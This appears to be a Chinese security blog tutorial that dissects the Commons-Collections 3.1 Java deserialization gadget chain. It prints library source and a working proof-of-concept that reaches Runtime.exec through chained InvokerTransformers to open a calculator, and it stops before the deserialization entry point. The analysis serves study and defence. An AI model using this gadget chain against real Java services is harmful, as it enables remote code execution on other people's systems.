Commons-collections漏洞
0x01 POP調用鏈
版本:Commons-Collections3.1
下為Commons-Collections反序列實例代碼:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class VulTest {
public static void main(String[] args){
Transformer transformer=new InvokerTransformer(
"append",
new Class[]{String.class},
new Object[]{"exploitcat?"});
Object newObject=transformer.transform(new StringBuffer("your name is "));
System.out.println(newObject);
}
}
輸入結果為:your name is exploitcat?
很明顯調用了append方法將兩個字符串進行拼接,讓我們來分析代碼,首先聲明了一個transformer的引用,查看Transformer這個類代碼為:
package org.apache.commons.collections;
public interface Transformer {
Object transform(Object var1);
}
剛開始沒看懂=-=,這是定義的一個名為Transformer的接口類,其中聲明了一個返回類型為Object的transform函數,接收參數為Object對象。
InvokerTransformer為Transformer的一個子類,此處新建了一個InvokerTransformer類的實例,以此傳入了append、new Class[]{String.class}、new Object[]{"exploitcat?"}三個參數。
接下來進入InvokerTransformer這個類,發現當接收參數為這三個參數時,構造函數實現的功能為預設這三個參數的值,即:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
Object newObject即新建一個對象引用,而transformer.transform(new StringBuffer("your name is ")),Java中String也是一個類,所以new StringBuffer("your name is ")為一個類對象,transform這個方法為繼承父類Transformer的transform方法重寫為:
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
}
根據前面獲得的三個參數的值,在此處利用反射調用了String類的append方法,將兩個字符串進行拼接。
下為另一處Commons-Collections反序列化漏洞示例代碼
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class VulChain {
public static void main(String[] args){
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"open /Applications/Calculator.app"})
};
Transformer chain=new ChainedTransformer(transformers);
Map innerMap=new HashMap();
innerMap.put("name","hello");
Map outerMap= TransformedMap.decorate(innerMap,null,chain);
Map.Entry elEntry=(Map.Entry) outerMap.entrySet().iterator().next();
elEntry.setValue("hello");
}
}
在VulChain這個類中聲明首先聲明了一個Transformer類型對象數組transformers,放了ConstantTransformer與InvokerTransFormer兩種對象。
Transformer chain=new ChainedTransformer(transformers);則是傳入一個transformers參數新建了一個Transformer類型的引用,進入ChainedTransformer這個類查看構造函數
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
其主要作用為將transformers賦給自己的屬性iTransformers.
下面的innerMap類型主要是為了后面的decorate方法傳參,不用過多在意。
而Map outerMap= TransformedMap.decorate(innerMap,null,chain);
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
decorate方法返回了一個TransformedMap對象,在TransforedMap構造函數將valueTransformer=chain
elEntry.setValue("hello");中我們查看setValue函數聲明,在AbstractInputCheckedMapDecorator這個類中:
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
而checkSetValue在TransformerMap中:
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
而ChainedTransformer中transform方法為:
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
InvokerTransformer中transform方法為:
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}
在for循環中i、iTransformers[i]、object值分別為:
i | iTransformers[i] | Object |
---|---|---|
0 | ConstantTransformer(Runtime.class) | "hello" |
1 | InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime", new Class[0]}) | Runtime.class |
2 | InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}) | Runtime.class.getRuntime |
3 | InvokerTransformer("exec", new Class[]{String.class},new Object[]{"open /Applications/Calculator.app"}) | Runtime.class.getRuntime.invoke(null,null) |
最終構成調用鏈:Runtime.class.getRuntime.invoke(null,null).exec('open /Applications/Calculator.app')
0x02反序列化利用
上面找到了POP利用鏈,現在我們只需要一個反序列化利用點,就可以構造好的Payload利用出去。